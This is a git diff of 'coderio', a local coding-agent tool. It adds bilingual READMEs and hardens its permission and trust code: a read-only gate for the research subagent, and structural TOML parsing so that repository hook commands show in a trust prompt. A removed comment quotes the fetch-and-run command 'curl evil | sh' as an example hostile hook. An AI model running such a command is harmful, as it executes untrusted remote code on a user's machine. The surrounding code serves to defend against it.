+ - **工程纪律**:850+ 测试、80% 覆盖率、mypy 硬门、uv.lock 锁定、3 OS × 2 Python CI 矩阵
55
+
56
+ <details>
57
+ <summary><b>配置示例</b>(点击展开)</summary>
58
+
59
+ ```toml
60
+ # ~/.coderio/config.toml
61
+ [model]
62
+ provider_id = "bigmodel_coding_plan" # 智谱/阶跃 coding plan,或 openai/anthropic/ollama/自定义
63
+ default = "glm-5.2"
64
+
65
+ [tools]
66
+ permission_mode = "confirm" # plan | confirm | auto_edit | full
67
+ sandbox_mode = "off" # off | job(资源限制)| write(Linux 文件写隔离)
68
+
69
+ # 生命周期 hooks(Claude Code 兼容契约)
70
+ [[hooks]]
71
+ event = "PreToolUse"
72
+ matcher = "write_file|edit_file"
73
+ command = "python .hooks/protect.py" # stdin 收 JSON;exit 2 = 阻断
74
+ ```
75
+
76
+ MCP、沙箱四元组、更多配置见 [docs/coderio-architecture.md](docs/coderio-architecture.md)。
77
+
78
+ </details>
79
+
80
+ ## 常用命令
81
+
82
+ ```bash
83
+ coderio # 交互式 TUI
84
+ coderio run "修复失败的测试" --quiet # headless 单次
85
+ coderio run "任务" --dangerously-skip-permissions # full 权限(显式选择)
86
+ coderio mcp add github --type http --url ... # 管理 MCP
87
+ coderio skills install # 安装 skill 套件
88
+ ```
89
+
90
+ TUI 内输入 `/` 查看全部命令(/resume 恢复会话、/mode 切权限、/profile 切配置、/think 展开思考)。
91
+
92
+ ## 已知限制
93
+
94
+ - Windows 写沙箱当前等价于 job 档(真隔离待 ACL,文档如实标注)
95
+ - 黑白名单为防手滑设计(正则可被混淆绕过),对抗性场景用沙箱 / VM
96
+
97
+ ## 起源
98
+
99
+ 业余项目,开源目的:给想自己搭 coding agent 的开发者一份能跑的参考。名字是 **code + rio**(作者英文名 Lion,本想叫 codelion)。
100
+
101
+ ## 贡献与 License
102
+
103
+ 欢迎 issue / PR,见 [CONTRIBUTING.md](CONTRIBUTING.md)。MIT License。
@@ -0,0 +1,103 @@
1
+ # coderio
2
+
3
+ [中文](README.md) | **English**
4
+
5
+ > The agent claims "done" without running the tests? coderio's harness stops it.
6
+ > A local coding agent with **native Zhipu GLM & StepFun Step coding-plan support** — four-tier permissions, layered sandbox, MCP, lifecycle hooks, and an interactive TUI.
7
+
8
+ ![demo](demo.gif)
9
+
10
+ ## Install
11
+
12
+ ```bash
13
+ pip install coderio
14
+ coderio # onboarding wizard on first launch (pick provider, paste API key, auto context-window probe)
15
+ ```
16
+
17
+ Requires Python 3.11+; Git Bash on Windows. Linux / macOS supported.
18
+
19
+ ## Why coderio
20
+
21
+ The shared weakness of coding agents: **the model says "I'm done" and you just have to trust it**. coderio turns that sentence into a structural constraint—
22
+
23
+ ### The Four Gates: the agent can't lie to you
24
+
25
+ | Gate | Behavior |
26
+ |---|---|
27
+ | **VerifyGate** | Wrote code, never ran it, wants to finish → intercepted, forced to continue. Parses real exit codes — **a failing test run does NOT count as verified** |
28
+ | **CompletionGate** | Declares done with pending todos → intercepted |
29
+ | **GroundingGate** | Cites files it never read → intercepted |
30
+ | **PlanGate** | Writes code without a todo list → soft nudge |
31
+
32
+ Not a prompt-level soft rule — a system-level control based on tool-call ground truth. Claude Code and Codex don't have this.
33
+
34
+ ### Native Chinese coding-plan support
35
+
36
+ Zhipu **GLM Coding Plan** and StepFun **Step Plan** work out of the box (direct Anthropic-protocol connection) — your subscription quota runs a local agent, no proxies, no middle layer. Also supports OpenAI / Anthropic / Ollama / any OpenAI-compatible endpoint, with multi-profile switching.
37
+
38
+ ### Layered security, honestly stated
39
+
40
+ - Four permission tiers (plan read-only / confirm per-action / auto_edit / full)
41
+ - Command blacklist + whitelist (accident prevention); Linux bubblewrap OS sandbox (boundary enforcement)
42
+ - First-use repo-config trust confirmation (hostile-repo protection); web_fetch SSRF protection
43
+ - The blacklist/whitelist are **accident prevention, not adversarial defense** — adversarial protection comes from the sandbox + permissions; use a VM for hostile code
44
+
45
+ ## Feature highlights
46
+
47
+ - **Interactive TUI**: streaming output, foldable thinking (Ctrl+O), collapsible TODO panel, vertical permission menu, task interruption (Esc), slash-command autocomplete, session management
48
+ - **Headless mode**: `coderio run "task"` one-shot execution (CI / scripts / benchmarks) with graded exit codes
49
+ - **MCP support**: connect external tools via `.mcp.json` (Claude Code-compatible format), managed with `coderio mcp`
50
+ - **Lifecycle hooks**: `[[hooks]]` run your commands at PreToolUse / PostToolUse / UserPromptSubmit (exit 2 = block) — IO contract compatible with Claude Code
51
+ - **Three-layer skills**: bundled + user + project, progressive disclosure saves context
52
+ - **Context governance**: auto-compaction (60% window trigger), large-block offload, sqlite checkpoints across turns
53
+ - **Subagents**: research (read-only, double-enforced) + general-purpose (inherits the main agent's full security stack)
54
+ - **Engineering discipline**: 850+ tests, 80% coverage, mypy hard gate, uv.lock, 3 OS × 2 Python CI matrix
55
+
56
+ <details>
57
+ <summary><b>Config example</b> (click to expand)</summary>
58
+
59
+ ```toml
60
+ # ~/.coderio/config.toml
61
+ [model]
62
+ provider_id = "bigmodel_coding_plan" # Zhipu/StepFun coding plan, or openai/anthropic/ollama/custom
63
+ default = "glm-5.2"
64
+
65
+ [tools]
66
+ permission_mode = "confirm" # plan | confirm | auto_edit | full
67
+ sandbox_mode = "off" # off | job (resource limits) | write (Linux file-write isolation)
68
+
69
+ # Lifecycle hooks (Claude Code-compatible contract)
70
+ [[hooks]]
71
+ event = "PreToolUse"
72
+ matcher = "write_file|edit_file"
73
+ command = "python .hooks/protect.py" # JSON on stdin; exit 2 = block
74
+ ```
75
+
76
+ MCP, the sandbox 4-tuple, and more: [docs/coderio-architecture.md](docs/coderio-architecture.md).
77
+
78
+ </details>
79
+
80
+ ## Common commands
81
+
82
+ ```bash
83
+ coderio # interactive TUI
84
+ coderio run "fix the failing test" --quiet # headless one-shot
85
+ coderio run "task" --dangerously-skip-permissions # full access (explicit opt-in)
86
+ coderio mcp add github --type http --url ... # manage MCP
87
+ coderio skills install # install skill suites
88
+ ```
89
+
90
+ Type `/` inside the TUI for all commands (/resume sessions, /mode permissions, /profile configs, /think unfold reasoning).
91
+
92
+ ## Known limitations
93
+
94
+ - The Windows write-sandbox currently equals job mode (true isolation awaits the ACL work — documented honestly)
95
+ - Blacklist/whitelist are accident-prevention by design (regex can be bypassed by obfuscation); use the sandbox / a VM for adversarial scenarios
96
+
97
+ ## Origin
98
+
99
+ A spare-time project, open-sourced as a working reference for developers building their own coding agents. The name is **code + rio** (the author's English name is Lion; "codelion" sounded odd).
100
+
101
+ ## Contributing & License
102
+
103
+ Issues and PRs welcome — see [CONTRIBUTING.md](CONTRIBUTING.md). MIT License.
@@ -5,7 +5,7 @@ build-backend = "hatchling.build"
5
5
 
6
6
  [project]
7
7
  name = "coderio"
8
- version = "0.4.2"
8
+ version = "0.4.3"
9
9
  description = "A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine."
10
10
  readme = "README_en.md"
11
11
  license = "MIT"
@@ -201,10 +201,9 @@ fail_under = 60
201
201
  # real type errors (wrong arg counts, None where a value is expected) without
202
202
  # blocking on the many untyped third-party deps (langchain, deepagents, textual).
203
203
  #
204
- # CI runs mypy as a HARD GATE (no continue-on-error) for the modules NOT in
205
- # the override list below. The modules listed in [[tool.mypy.overrides]] have
206
- # `ignore_errors = true` until they're cleaned up — each ignore is a tracked
207
- # TODO, not a permanent pass. Remove entries as the files are fixed.
204
+ # CI runs mypy as a HARD GATE for all modules except the override list below.
205
+ # Modules with `ignore_errors = true` have known type issues — each entry is a
206
+ # tracked TODO. Modules are removed from this list when they pass cleanly.
208
207
  python_version = "3.11"
209
208
  ignore_missing_imports = true
210
209
  warn_redundant_casts = true
@@ -218,6 +217,9 @@ exclude = ["tests/", "build/", "dist/", "\\.venv/"]
218
217
  # Per-module overrides: lenient modules (tracked cleanup TODOs).
219
218
  # Each entry here is a file with known type issues that would block CI if
220
219
  # enforced strictly. Remove entries as the files are cleaned up.
220
+ #
221
+ # Cleaned up 2026-08-21: removed coderio.agent.deep_loop and
222
+ # coderio.mcp_loader (verified mypy clean — 0 errors, only notes).
221
223
  [[tool.mypy.overrides]]
222
224
  module = [
223
225
  "coderio.cli.tui",
@@ -227,10 +229,8 @@ module = [
227
229
  "coderio.cli.onboarding",
228
230
  "coderio.cli.stream",
229
231
  "coderio.cli.repl",
230
- "coderio.agent.deep_loop",
231
232
  "coderio.tools.win_job",
232
233
  "coderio.tools.win_sandbox",
233
- "coderio.mcp_loader",
234
234
  "coderio.session.store",
235
235
  "coderio.session.message",
236
236
  "coderio.llm.probe",
@@ -298,7 +298,7 @@ def _build_extra_tools(tools, skill_store, active_skills):
298
298
  return extra
299
299
 
300
300
 
301
- def _build_research_subagent(gate=None, command_policy=None, hook_runner=None):
301
+ def _build_research_subagent(command_policy=None, hook_runner=None):
302
302
  """Return the research subagent spec (read-only, physically isolated).
303
303
 
304
304
  Tool exclusion uses the compat layer (_deepagents_compat) so that a
@@ -308,11 +308,12 @@ def _build_research_subagent(gate=None, command_policy=None, hook_runner=None):
308
308
  work bypassed the user's PreToolUse/PostToolUse hooks entirely. The runner
309
309
  is shared with the main agent (stateless across fire() calls).
310
310
 
311
- Permission + CommandReview (v3 audit #11): execution-time enforcement on
312
- top of the model-visibility whitelist — the whitelist filters what the
313
- model SEES, these middlewares gate what actually RUNS. Belt and braces:
314
- a whitelist bug or a future tool name collision can no longer turn the
315
- "read-only" subagent into a writing one.
311
+ Permission + CommandReview: execution-time enforcement on top of the
312
+ model-visibility whitelist. The whitelist filters what the model SEES,
313
+ these middlewares gate what actually RUNS. This subagent uses its own
314
+ hardcoded PLAN gate so it can never be upgraded to write access via the
315
+ caller's permission mode (an FULL/auto caller must not turn the "read-only"
316
+ subagent into a writing one).
316
317
  """
317
318
  from coderio.agent._deepagents_compat import make_research_subagent_middleware
318
319
 
@@ -321,15 +322,15 @@ def _build_research_subagent(gate=None, command_policy=None, hook_runner=None):
321
322
  from coderio.agent.hooks import HooksMiddleware
322
323
 
323
324
  middleware.insert(0, HooksMiddleware(hook_runner))
324
- if gate is not None:
325
- from coderio.agent.permission_middleware import PermissionMiddleware
325
+ from coderio.agent.permission_middleware import PermissionMiddleware
326
+ from coderio.tools.permission import PermissionGate, PermissionMode
326
327
 
327
- middleware.append(PermissionMiddleware(gate))
328
+ middleware.append(PermissionMiddleware(PermissionGate(PermissionMode.PLAN)))
328
329
  from coderio.agent.command_review import CommandReviewMiddleware
329
330
  from coderio.tools.command_policy import CommandPolicy
330
331
 
331
332
  policy = command_policy or CommandPolicy.default()
332
- middleware.append(CommandReviewMiddleware(policy, gate=gate))
333
+ middleware.append(CommandReviewMiddleware(policy))
333
334
  return {
334
335
  "name": "research",
335
336
  "description": (
@@ -587,7 +588,7 @@ def run_deep_agent(
587
588
  "middleware": middleware,
588
589
  "backend": backend,
589
590
  "subagents": [
590
- _build_research_subagent(gate=gate, command_policy=command_policy, hook_runner=hook_runner),
591
+ _build_research_subagent(command_policy=command_policy, hook_runner=hook_runner),
591
592
  _build_general_purpose_subagent(gate, command_policy, stream=stream, hook_runner=hook_runner),
592
593
  ],
593
594
  }
@@ -1,13 +1,14 @@
1
1
  from __future__ import annotations
2
2
 
3
3
  from pathlib import Path
4
- from typing import Any
4
+ from typing import TYPE_CHECKING, Any
5
5
 
6
6
  from rich.console import Console
7
7
 
8
8
  from coderio.agent.prompts import ActiveSkills
9
9
  from coderio.cli.stream import RichStream
10
- from coderio.config import Config, load_config
10
+ from coderio.config import load_config
11
+ from coderio.config.loader import _find_project_dir
11
12
  from coderio.llm import build_chat_model
12
13
  from coderio.session.store import Session
13
14
  from coderio.skills.store import SkillStore, load_skill_store
@@ -19,6 +20,9 @@ from coderio.tools.permission import (
19
20
  RichPromptPermissionGate,
20
21
  )
21
22
 
23
+ if TYPE_CHECKING:
24
+ from coderio.config import Config
25
+
22
26
  BUNDLED_SKILLS = Path(__file__).resolve().parents[1] / "skills"
23
27
 
24
28
 
@@ -100,6 +104,7 @@ def build_runtime(
100
104
  model_override: str | None = None,
101
105
  provider_override: str | None = None,
102
106
  ):
107
+ search_from = Path(search_from).resolve()
103
108
  cfg = load_config(search_from=search_from)
104
109
 
105
110
  if mode_override:
@@ -118,10 +123,11 @@ def build_runtime(
118
123
  cfg = _replace(cfg, model=_replace(cfg.model, provider_id=provider_override))
119
124
 
120
125
  if cfg.skills.auto_load:
126
+ _proj = _find_project_dir(search_from)
121
127
  store = load_skill_store(
122
128
  BUNDLED_SKILLS,
123
129
  Path.home() / ".coderio" / "skills",
124
- Path(search_from) / ".coderio" / "skills",
130
+ _proj / ".coderio" / "skills",
125
131
  )
126
132
  else:
127
133
  store = SkillStore()
@@ -37,21 +37,20 @@ def _merge(base: dict, override: dict) -> dict:
37
37
  return out
38
38
 
39
39
 
40
- def _find_project_dir(search_from: Path) -> Path:
40
+ def _find_project_dir(search_from: Path | str) -> Path:
41
41
  """Walk upward from search_from looking for a project's .coderio/config.toml.
42
42
 
43
- Never ascends into the user's home directory (the home ~/.coderio is the USER
44
- layer, handled separately), so a temp dir nested under home won't accidentally
45
- pick up the real user config as if it were a project config.
43
+ Accepts str or Path. Never ascends into the user's home directory (the home
44
+ ~/.coderio is the USER layer, handled separately).
46
45
  """
47
- cur = search_from.resolve()
46
+ cur = Path(search_from).resolve()
48
47
  home = Path(os.path.expanduser("~")).resolve()
49
48
  for parent in [cur, *cur.parents]:
50
49
  if parent == home:
51
50
  break
52
51
  if (parent / ".coderio" / "config.toml").is_file():
53
52
  return parent
54
- return search_from.resolve()
53
+ return cur
55
54
 
56
55
 
57
56
  def _default_user_dir() -> Path:
@@ -28,6 +28,7 @@ from __future__ import annotations
28
28
  import hashlib
29
29
  import json
30
30
  import logging
31
+ import tomllib
31
32
  from pathlib import Path
32
33
 
33
34
  _log = logging.getLogger(__name__)
@@ -234,12 +235,60 @@ def summarize_repo_configs(search_from: Path | str) -> str:
234
235
  lines.append(" <unreadable>")
235
236
  continue
236
237
  if path.name == "config.toml":
237
- # Echo every line mentioning a sensitive key — hooks' command
238
- # lines included, so "curl evil | sh" can't hide behind a byte count.
239
- for ln in text.splitlines():
240
- s = ln.strip()
241
- if any(k in s for k in _SENSITIVE_KEYS) and "=" in s:
242
- lines.append(f" {s}")
238
+ # Parse TOML structurally so multi-line strings, inline tables, and
239
+ # nested values can't hide hook commands (P2-1 regression test:
240
+ # a multi-line `command = """\n...\n"""` was previously invisible
241
+ # because only raw lines containing a sensitive key were echoed).
242
+ try:
243
+ with open(path, "rb") as _f:
244
+ data = tomllib.load(_f)
245
+ except Exception:
246
+ data = None
247
+ if data is None:
248
+ # Unparseable TOML: the loader will refuse this config later
249
+ # (fail-closed — hooks never run), but the user should SEE
250
+ # that, not a bare byte count. The raw-grep fallback below
251
+ # echoes all sensitive-looking lines INCLUDING command lines
252
+ # (third-party review: the old fallback excluded them on the
253
+ # assumption the structural path had already shown them —
254
+ # but on parse failure that path printed nothing, hiding the
255
+ # hooks entirely).
256
+ lines.append(" <unparseable config.toml — the loader will reject this file>")
257
+ for ln in text.splitlines():
258
+ s = ln.strip()
259
+ if any(k in s for k in _SENSITIVE_KEYS) and "=" in s:
260
+ lines.append(f" {s}")
261
+ else:
262
+ hooks = data.get("hooks", [])
263
+ if isinstance(hooks, list) and hooks:
264
+ lines.append(" [[hooks]]")
265
+ for h in hooks:
266
+ # Shape guard (third-party review): `hooks = [1]` or
267
+ # `hooks = "junk"` previously crashed here (h.get on
268
+ # non-dict) — taking down coderio at the trust prompt
269
+ # before the loader's tolerant _parse_hooks could
270
+ # simply skip the malformed entry.
271
+ if not isinstance(h, dict):
272
+ continue
273
+ cmd = h.get("command")
274
+ if cmd:
275
+ lines.append(f" command = {cmd!r}")
276
+ ev = h.get("event")
277
+ if ev:
278
+ lines.append(f" event = {ev!r}")
279
+ # Echo every line mentioning a sensitive key (non-hook keys).
280
+ # Also skips the top-level `hooks = [...]` inline form — the
281
+ # structural block above already rendered each hook's command.
282
+ for ln in text.splitlines():
283
+ s = ln.strip()
284
+ if any(k in s for k in _SENSITIVE_KEYS) and "=" in s:
285
+ if (
286
+ not s.startswith("[[hooks]]")
287
+ and not s.startswith("command =")
288
+ and not s.startswith("event =")
289
+ and not s.startswith("hooks =")
290
+ ):
291
+ lines.append(f" {s}")
243
292
  else: # .mcp.json — list servers (they spawn/connect at startup)
244
293
  try:
245
294
  servers = json.loads(text).get("mcpServers", {})